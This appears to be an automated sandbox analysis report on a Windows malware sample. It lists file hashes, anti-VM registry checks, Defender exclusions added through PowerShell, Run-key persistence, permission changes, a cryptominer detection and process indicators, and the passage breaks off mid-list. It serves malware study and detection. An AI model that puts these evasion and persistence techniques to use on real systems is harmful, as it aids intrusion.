Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
16/11/2026, 11:15
Static task
static1
Behavioral task
behavioral1
Sample
2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Resource
win11ltsc2024-20260911-en
General
- Target 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
- Size 394KB
- Sample261116-nclb8ast7q
- SHA256 2922904ad66b9c69b09dae3b11c5acd03c38e80d143a7db2774a7c71e91df451
- MD5 b9f6baa7a905db5e5474e312fec2387e
- SHA1 a0f420a6fceab74d1e6ea97103f2dfcbfec1617f
- SHA512 87916da0e50ce47390e06902c8e880c5a97f36756f92785c6f051f63e14e6d72733ebd33ba8b4f567600a29127763d4c422c18ece01c6f9bef819744fbdb6e19
- SSDEEP 6144:aO+/+Ev0s+CEcEBogvezsSlpCd5Zqc6yHuFM075OhO5vX:rW4SbCrZqcHu20cs
- TLSH T12D849D19EAA410F9E0A7D1388D634506EB727C8E4771DADF13E84A921F376D09E3EB11
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v41.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v42.exe - Custom signatureUPX dump on OEP (original entry point) 2 IoCs
resource yara_rule behavioral1/memory/1600-56-0x00007FF732C20000-0x00007FF7334F3000-memory.dmp UPX behavioral1/memory/1600-555-0x00007FF732C20000-0x00007FF7334F3000-memory.dmp UPX - XMRig Miner payload 1 IoCs
resource yara_rule behavioral1/memory/1600-555-0x00007FF732C20000-0x00007FF7334F3000-memory.dmp xmrig - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 21 1600 cmd.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5008 powershell.exe 1592 powershell.exe 1848 powershell.exe 5068 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v42.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v41.exe - Possible privilege escalation attempt 3 IoCs
pid Process 3528 takeown.exe 944 icacls.exe 2948 icacls.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Executes dropped EXE 5 IoCs
pid Process 4260 Win-v43.exe 2840 Win-v42.exe 1600 cmd.exe 684 svchost.exe 1236 Win-v41.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 2948 icacls.exe 3528 takeown.exe 944 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe" 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 13 api64.ipify.org 15 api64.ipify.org - Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2416 powercfg.exe 4080 powercfg.exe 4448 powercfg.exe 396 powercfg.exe 3124 powercfg.exe 2412 powercfg.exe 3272 powercfg.exe - Drops file in System32 directory 17 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File created C:\Windows\System32\Win-v42.exe 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\Recovery ReAgentc.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F svchost.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3160 set thread context of 1600 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 134 PID 3160 set thread context of 684 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 137 -
resource yara_rule behavioral1/memory/1600-56-0x00007FF732C20000-0x00007FF7334F3000-memory.dmp upx behavioral1/memory/1600-555-0x00007FF732C20000-0x00007FF7334F3000-memory.dmp upx - Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe File created C:\Windows\Win-v41.exe 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe - Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4856 cmd.exe 4420 cmd.exe 3900 cmd.exe 1612 cmd.exe 4544 cmd.exe 5060 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4544 cmd.exe 892 PING.EXE - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5060 cmd.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg wmiprvse.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02bkqhizcgjanuee svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02yzjykovoqbhtke svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={0D7D3FDF-7FF0-40B1-AA58-614078E7D6F1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02yzjykovoqbhtke\Provision Monday, November 16, 2026 11:15:28 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAPQghibQztk6XRhraM9GK0AAAAAACAAAAAAAQZgAAAAEAACAAAABYUeAQkrLlLCUNzSi1NE3AkFtOIh226WIc8egtdaP0fwAAAAAOgAAAAAIAACAAAADcqF+eY3LcPwZVs2zzbwbHxWP2MT+0L3G9Q0z3HGUIQSAAAABS2m7cMZ0siQjKug9xFmGNtBfhK5Crva1YHEEV2cjqbkAAAABoHQkkxP22E7pgUNkSFCLb10cXUBj6bqrP3vsk0yRR0ljwv2GdPeShUtfdr0wghEE6/QUVCkSm+kuYCPt+KE32" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02qxrfqgzpollqqp svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02qxrfqgzpollqqp\Provision Monday, November 16, 2026 11:15:29 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAPQghibQztk6XRhraM9GK0AAAAAACAAAAAAAQZgAAAAEAACAAAAAxSz01a3Y3e1Zmc8BOMwlsyTDVsuNBTJzMiNUMb+XFYAAAAAAOgAAAAAIAACAAAAC93MWS2u6EgS+/6IOzUgFktMlNz/mTRxiarESj2KAzniAAAADLkCJ2LuOZHsY1Rw009fjZpb3hzU0xb/EBiWYpSrhxoEAAAABD/rKZ7PTtcm8GFVVGtYTVDH/8YxqHiZNIf8PJdBFBjYbanxallAvJ/medO314aGsImbo6RS/KrFqE50X2OiGL" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02uaqamqkiqblaqc svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02qxbxfzpnzsdmoq svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02qxbxfzpnzsdmoq\Provision Monday, November 16, 2026 11:15:28 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAPQghibQztk6XRhraM9GK0AAAAAACAAAAAAAQZgAAAAEAACAAAADrF7E41Nfb134W2tqfDIUCZQm1W4FNndBNZED5twYITQAAAAAOgAAAAAIAACAAAABIViykewI73oK+BrnVpApHGXcwuhFm82hIk9P54kpzTiAAAACnV/9uaCPgBkhES96zNtO1cDLyil2h4SFdi7WJbYe1NEAAAAACTv87scZEu9s9RElMkm6XmoJHBbCIRn1PNcBCU+s7Mx6Plp5a1iC+Si6rVaqeZjE2lykL6rHjQtwbisb1KodI" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02mvhxgelpblhjym\Provision Monday, November 16, 2026 11:15:29 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAPQghibQztk6XRhraM9GK0AAAAAACAAAAAAAQZgAAAAEAACAAAADu4NklRLq5JQ7WtfmUrCIE4o6vp/gStcmwZTD8KV51uQAAAAAOgAAAAAIAACAAAACW+51Ny19tDobQcBaiUHKyzCBm68QRowUL0elL9HZaNiAAAAC6+ylZOtCBz3OU4vS8V2rwsCPCjRTTtTsD8BsJ6qLIx0AAAABtou+Pl1xaYLrCkGyHDo3IAqp9v+up2GwtlccSM9QTSw52pTnHGxynlAUDMn8A9EEdTUY70g+zpnIrP5AHqhjI" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02mvhxgelpblhjym svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02uaqamqkiqblaqc\Provision Monday, November 16, 2026 11:15:32 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAPQghibQztk6XRhraM9GK0AAAAAACAAAAAAAQZgAAAAEAACAAAABd7pLO2MRm6CIEt4jYzNopKk2reuAWqerfvgs+Qr/QIwAAAAAOgAAAAAIAACAAAABu/m6CR2dFBQEfJJI6bNDpiQXRy0l+yDQ3zatcwhH4XCAAAAAWn0rM6kfawuYlH0SBT+2/X7cCJxEe4aOTqmsuhc5VDkAAAADeAdyCWx/5cQVbgVVvmCD5n0y70+epYcWJT75PtPIwZGh+OdNC8jRq6kTA+Hm3B/3wK6/gLiNhyATb+7A3MrYm" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 14 Nov 2026 21:46:20 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02bkqhizcgjanuee\Provision Monday, November 16, 2026 11:15:31 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAPQghibQztk6XRhraM9GK0AAAAAACAAAAAAAQZgAAAAEAACAAAABCfeVPkDmunwibz1Qp0k0FG70dpjwFejxUo6nLbmO8oAAAAAAOgAAAAAIAACAAAADOgVbjiJt6NcnNAPsE3h80EAZgM7G+BFnoSK/1lsBzkCAAAADi56TkDUPpiJW42to3U4BuKXX1Nw0IWXouNifoEcr6o0AAAABFETryQGx7yHneukiu8sS3UXZVcNeAGA0hjD2JzD1oP7cxxWd1QVINJA43MqhFdJupaaUNjXFkDmBKocxAO/1D" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1794827742" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 892 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2028 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 5008 powershell.exe 5008 powershell.exe 1592 powershell.exe 1592 powershell.exe 1848 powershell.exe 1848 powershell.exe 4260 Win-v43.exe 4260 Win-v43.exe 2840 Win-v42.exe 2840 Win-v42.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 5068 powershell.exe 5068 powershell.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 